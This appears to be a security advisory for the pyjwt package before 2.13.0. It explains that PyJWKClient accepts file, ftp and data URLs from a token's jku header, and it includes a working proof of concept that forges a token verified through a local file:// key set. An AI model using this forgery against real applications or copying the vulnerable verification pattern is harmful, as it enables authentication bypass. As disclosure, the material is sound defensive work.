Unintended Proxy or Intermediary ('Confused Deputy') Affecting pyjwt package, versions [,2.13.0)

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via the uri parameter being passed directly to urllib.request.urlopen, which allows fetching resources using unsupported schemes such as file, ftp, and data. An attacker can access arbitrary local files or external resources and potentially forge tokens by supplying crafted URLs.

Note:

This is only exploitable if the application's jku URL ingestion path accepts attacker-controlled URLs.

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

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